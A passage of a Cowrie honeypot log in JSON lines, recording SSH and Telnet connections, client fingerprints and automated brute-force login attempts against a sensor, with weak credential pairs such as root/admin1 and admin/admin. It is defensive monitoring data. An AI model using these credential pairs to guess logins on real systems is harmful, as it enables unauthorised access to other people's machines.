{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:17.522708Z","src_ip":"176.65.132.129","session":"063325e345cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:18.607985Z","src_ip":"176.65.132.129","session":"063325e345cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47972,"dst_ip":"159.203.135.109","dst_port":22,"session":"a48882342361","protocol":"ssh","message":"New connection: 176.65.132.129:47972 (159.203.135.109:22) [session: a48882342361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:20.387840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:20.393086Z","src_ip":"176.65.132.129","session":"a48882342361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:20.475147Z","src_ip":"176.65.132.129","session":"a48882342361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:20.833276Z","src_ip":"176.65.132.129","session":"a48882342361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:21.917717Z","src_ip":"176.65.132.129","session":"a48882342361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47986,"dst_ip":"159.203.135.109","dst_port":22,"session":"45ad9c186b21","protocol":"ssh","message":"New connection: 176.65.132.129:47986 (159.203.135.109:22) [session: 45ad9c186b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:23.749867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:23.754654Z","src_ip":"176.65.132.129","session":"45ad9c186b21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:23.839957Z","src_ip":"176.65.132.129","session":"45ad9c186b21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:24.086060Z","src_ip":"176.65.132.129","session":"45ad9c186b21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:25.173079Z","src_ip":"176.65.132.129","session":"45ad9c186b21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49460,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2f7932a48b8","protocol":"telnet","message":"New connection: 152.42.224.71:49460 (10.17.0.5:23) [session: f2f7932a48b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:26.039179Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46024,"dst_ip":"159.203.135.109","dst_port":22,"session":"e46427be28f8","protocol":"ssh","message":"New connection: 176.65.132.129:46024 (159.203.135.109:22) [session: e46427be28f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:26.932863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:26.937563Z","src_ip":"176.65.132.129","session":"e46427be28f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:27.019909Z","src_ip":"176.65.132.129","session":"e46427be28f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49462,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c0260669f74","protocol":"telnet","message":"New connection: 152.42.224.71:49462 (10.17.0.5:23) [session: 5c0260669f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:27.186318Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:27.265780Z","src_ip":"176.65.132.129","session":"e46427be28f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:28.350511Z","src_ip":"176.65.132.129","session":"e46427be28f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49466,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f8b996e0438","protocol":"telnet","message":"New connection: 152.42.224.71:49466 (10.17.0.5:23) [session: 8f8b996e0438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:29.675908Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46034,"dst_ip":"159.203.135.109","dst_port":22,"session":"dffa08d6a2df","protocol":"ssh","message":"New connection: 176.65.132.129:46034 (159.203.135.109:22) [session: dffa08d6a2df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:30.075655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:30.082187Z","src_ip":"176.65.132.129","session":"dffa08d6a2df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:30.166320Z","src_ip":"176.65.132.129","session":"dffa08d6a2df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:30.421644Z","src_ip":"176.65.132.129","session":"dffa08d6a2df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.60523438453674,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:30.439708Z","src_ip":"152.42.224.71","session":"63da90cebebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49472,"dst_ip":"10.17.0.5","dst_port":23,"session":"f859bd888bef","protocol":"telnet","message":"New connection: 152.42.224.71:49472 (10.17.0.5:23) [session: f859bd888bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:30.580982Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:31.507713Z","src_ip":"176.65.132.129","session":"dffa08d6a2df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.929585695266724,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:31.883409Z","src_ip":"152.42.224.71","session":"c0b88c2a5fc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46036,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee7a10b2f38e","protocol":"ssh","message":"New connection: 176.65.132.129:46036 (159.203.135.109:22) [session: ee7a10b2f38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:33.296083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:33.305874Z","src_ip":"176.65.132.129","session":"ee7a10b2f38e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:33.389266Z","src_ip":"176.65.132.129","session":"ee7a10b2f38e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:33.821462Z","src_ip":"176.65.132.129","session":"ee7a10b2f38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:34.907222Z","src_ip":"176.65.132.129","session":"ee7a10b2f38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47532,"dst_ip":"159.203.135.109","dst_port":22,"session":"3df32eba235b","protocol":"ssh","message":"New connection: 176.65.132.129:47532 (159.203.135.109:22) [session: 3df32eba235b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:36.707398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:36.712633Z","src_ip":"176.65.132.129","session":"3df32eba235b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.16.13","src_port":14014,"dst_ip":"159.203.135.109","dst_port":22,"session":"85b4f45c93df","protocol":"ssh","message":"New connection: 172.245.16.13:14014 (159.203.135.109:22) [session: 85b4f45c93df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:36.722672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:36.727960Z","src_ip":"172.245.16.13","session":"85b4f45c93df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:36.752078Z","src_ip":"172.245.16.13","session":"85b4f45c93df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:36.795562Z","src_ip":"176.65.132.129","session":"3df32eba235b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:36.813781Z","src_ip":"172.245.16.13","session":"85b4f45c93df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:36.840491Z","src_ip":"172.245.16.13","session":"85b4f45c93df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":5908,"dst_ip":"159.203.135.109","dst_port":22,"session":"1de8c70adb26","protocol":"ssh","message":"New connection: 130.12.180.51:5908 (159.203.135.109:22) [session: 1de8c70adb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:37.040971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:37.046755Z","src_ip":"130.12.180.51","session":"1de8c70adb26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:59:37.051650Z","src_ip":"176.65.132.129","session":"3df32eba235b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"